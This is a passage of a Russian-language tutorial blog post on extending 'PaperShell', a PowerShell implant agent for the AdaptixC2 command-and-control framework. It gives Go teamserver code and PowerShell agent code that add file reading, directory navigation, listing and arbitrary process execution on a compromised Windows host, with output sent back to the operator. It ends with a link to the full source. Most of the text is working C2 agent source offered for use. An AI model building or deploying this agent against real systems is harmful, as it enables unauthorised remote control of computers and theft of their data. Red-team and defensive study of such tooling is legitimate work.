func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
	var outTasks []adaptix.TaskData
	var resultData []ResultData

	err := json.Unmarshal(packedData, &resultData)
	if err != nil {
		return outTasks
	}

	for _, taskResult := range resultData {
		command := taskResult.Command

		switch command {
		case "cat":
			path := taskResult.Path
			fileContent := taskResult.Content
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf("'%v' file content:", path)
			task.ClearText = string(fileContent)
			outTasks = append(outTasks, task)
		default:
			continue
		}
	}

	return outTasks
}

Пересоберём агента для теста и проверим:

make

Отлично, всё работает!

Добавляем оставшиеся функции

Теперь реализуем функции работы с файловой системой (cd, ls).

На агенте (src_papershell/agent.ps1):

        elseif ($data.command -eq "cd") {
            $path = $data.path
            Set-Location -Path $path -ErrorAction Stop[Environment]::CurrentDirectory = (Get-Location -PSProvider FileSystem).ProviderPath # For .NET
            $currentLocation = Get-Location
            $responseData = @{
                command = $data.command
                path = $path
                new_path = $currentLocation.Path
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        } elseif ($data.command -eq "ls") {
            $path = if ($data.path) { $data.path } else { Get-Location } # If no path is sent, ls current dir
            $path = $path.Path
            $items = Get-ChildItem -Path $path -ErrorAction Stop
            $fileList = @()
            foreach ($item in $items) {
                $fileList += [PSCustomObject]@{
                    Name = $item.Name
                    FullName = $item.FullName
                    IsDirectory = $item.PSIsContainer
                    Length = if ($item.PSIsContainer) { $null } else { $item.Length }
                    LastWriteTime = $item.LastWriteTime
                }
            }
            $responseData = @{
                command = $data.command
                path = $path
                files = $fileList
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }

На сервере (pl_agent.go):

func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
	var (
		taskData    adaptix.TaskData
		messageData adaptix.ConsoleMessageData
		err         error
	)

	command, ok := args["command"].(string)
	if !ok {
		return taskData, messageData, errors.New("'command' must be set")
	}
	// subcommand, _ := args["subcommand"].(string)

	taskData = adaptix.TaskData{
		Type: TYPE_TASK,
		Sync: true,
	}

	messageData = adaptix.ConsoleMessageData{
		Status: MESSAGE_INFO,
		Text:   "",
	}
	messageData.Message, _ = args["message"].(string)

	commandData := make(map[string]string)

	commandData["command"] = command

	switch command {
	case "cat":
		path, ok := args["path"].(string)
		if !ok {
			err = errors.New("paramter 'path' must be set")
			goto RET
		}
		commandData["path"] = path
	case "cd":
		path, ok := args["path"].(string)
		if !ok {
			err = errors.New("parameter 'path' must be set")
			goto RET
		}
		commandData["path"] = path
	case "ls":
		// path is optional for ls, use current directory if not provided
		if path, ok := args["path"].(string); ok {
			commandData["path"] = path
		}
	default:
		err = errors.New(fmt.Sprintf("Command '%v' not found", command))
		goto RET
	}

	taskData.Data, err = json.Marshal(commandData)
	if err != nil {
		goto RET
	}

RET:
	return taskData, messageData, err
}
type ResultData struct {
	Path    string     `json:"path"`
	Command string     `json:"command"`
	Content []byte     `json:"content,omitempty"`
	TaskId  string     `json:"taskId"`
	NewPath string     `json:"new_path,omitempty"`
	Files   []FileInfo `json:"files,omitempty"`
}

type FileInfo struct {
	Name          string `json:"Name"`
	FullName      string `json:"FullName"`
	IsDirectory   bool   `json:"IsDirectory"`
	Length        *int64 `json:"Length,omitempty"`
	LastWriteTime string `json:"LastWriteTime"`
}

func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
	var outTasks []adaptix.TaskData
	var resultData []ResultData

	err := json.Unmarshal(packedData, &resultData)
	if err != nil {
		return outTasks
	}

	for _, taskResult := range resultData {
		command := taskResult.Command

		switch command {
		case "cat":
			path := taskResult.Path
			fileContent := taskResult.Content
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf("'%v' file content:", path)
			task.ClearText = string(fileContent)
			outTasks = append(outTasks, task)
		case "cd":
			path := taskResult.Path
			newPath := taskResult.NewPath
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf("Changed directory to: %s", newPath)
			task.ClearText = fmt.Sprintf("Previous path: %s\nCurrent path: %s", path, newPath)
			outTasks = append(outTasks, task)

		case "ls":
			path := taskResult.Path
			files := taskResult.Files
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf("Directory listing for: %s", path)

			var output strings.Builder
			output.WriteString(fmt.Sprintf("Contents of: %s\n\n", path))

			for _, file := range files {
				if file.IsDirectory {
					output.WriteString(fmt.Sprintf("[DIR]  %s\n", file.Name))
				} else {
					size := "0"
					if file.Length != nil {
						size = fmt.Sprintf("%d", *file.Length)
					}
					output.WriteString(fmt.Sprintf("[FILE] %s (%s bytes)\n", file.Name, size))
				}
			}

			task.ClearText = output.String()
			outTasks = append(outTasks, task)
		default:
			continue
		}
	}

	return outTasks
}

AxScript:

function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command("cat", "Read the specified file", "cat C:\\file.exe", "Task: read file");
    cmd_cat.addArgString("path", true);
    
    let cmd_cd = ax.create_command("cd", "Change directory", "cd C:\\Windows\\System32", "Task: change directory");
    cmd_cd.addArgString("path", true);
    
    let cmd_ls = ax.create_command("ls", "Get list of files and directories in path", "ls C:\\e", "Task: list directory");
    cmd_ls.addArgString("path", false);

    if(listenerType == "PaperShellHTTP") {
        let commands_external = ax.create_commands_group("papershell", [cmd_cat, cmd_cd, cmd_ls] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group("none",[]);
}

Проверим:


Функции для запуска процессов.

На агенте:

} elseif ($data.command -eq "run") {
            $executable = $data.executable
            $args = if ($data.args) { $data.args } else { "" }
            
            $processInfo = New-Object System.Diagnostics.ProcessStartInfo
            $processInfo.FileName = $executable
            $processInfo.Arguments = $args -join " "
            $processInfo.RedirectStandardOutput = $true
            $processInfo.RedirectStandardError = $true
            $processInfo.UseShellExecute = $false
            $processInfo.CreateNoWindow = $true
            
            $process = New-Object System.Diagnostics.Process
            $process.StartInfo = $processInfo
            $process.Start() | Out-Null
            
            $stdout = $process.StandardOutput.ReadToEnd()
            $stderr = $process.StandardError.ReadToEnd()
            $process.WaitForExit()
            
            $responseData = @{
                command = $data.command
                executable = $executable
                args = $args
                stdout = $stdout
                stderr = $stderr
                exitCode = $process.ExitCode
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }

На сервере:

// CreateTask
...

	case "run":
		executable, ok := args["executable"].(string)
		if !ok {
			err = errors.New("parameter 'executable' must be set")
			goto RET
		}
		commandData["executable"] = executable

		if cmdArgs, ok := args["args"].(string); ok {
			// Fields - это деление по пробелам
			commandData["args"] = strings.Fields(cmdArgs)
		}
...
// ProcessTaskResult
...
		case "run":
			executable := taskResult.Executable
			args := taskResult.Args
			stdout := taskResult.Stdout
			stderr := taskResult.Stderr
			exitCode := taskResult.ExitCode

			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf("Command executed: %s", executable)

			var output strings.Builder
			output.WriteString(fmt.Sprintf("Executable: %s\n", executable))
			if len(args) > 0 {
				output.WriteString(fmt.Sprintf("Arguments: %v\n", args))
			}
			output.WriteString(fmt.Sprintf("Exit Code: %d\n\n", exitCode))

			if stdout != "" {
				output.WriteString(fmt.Sprintf("STDOUT:\n%s\n", stdout))
			}
			if stderr != "" {
				output.WriteString(fmt.Sprintf("STDERR:\n%s\n", stderr))
			}

			task.ClearText = output.String()
			outTasks = append(outTasks, task)
...

AxScript:

function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command("cat", "Read the specified file", "cat C:\\file.exe", "Task: read file");
    cmd_cat.addArgString("path", true);
    
    let cmd_cd = ax.create_command("cd", "Change directory", "cd C:\\Windows\\System32", "Task: change directory");
    cmd_cd.addArgString("path", true);
    
    let cmd_ls = ax.create_command("ls", "Get list of files and directories in path", "ls C:\\e", "Task: list directory");
    cmd_ls.addArgString("path", false);

    let cmd_run = ax.create_command("run", "Run executable and receive output", "run whoami /all", "Task: run executable");
    cmd_run.addArgString("executable", true);
    cmd_run.addArgString("args", false);

    if(listenerType == "PaperShellHTTP") {
        let commands_external = ax.create_commands_group("papershell", [cmd_cat, cmd_cd, cmd_ls, cmd_run] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group("none",[]);
}

Проверяем:


С этого момента добавлять функции стало просто и удобно. Надеюсь, эта заметка была для вас полезна :)

Полный код PaperShell на GitHub:

https://github.com/ArturLukianov/PaperShell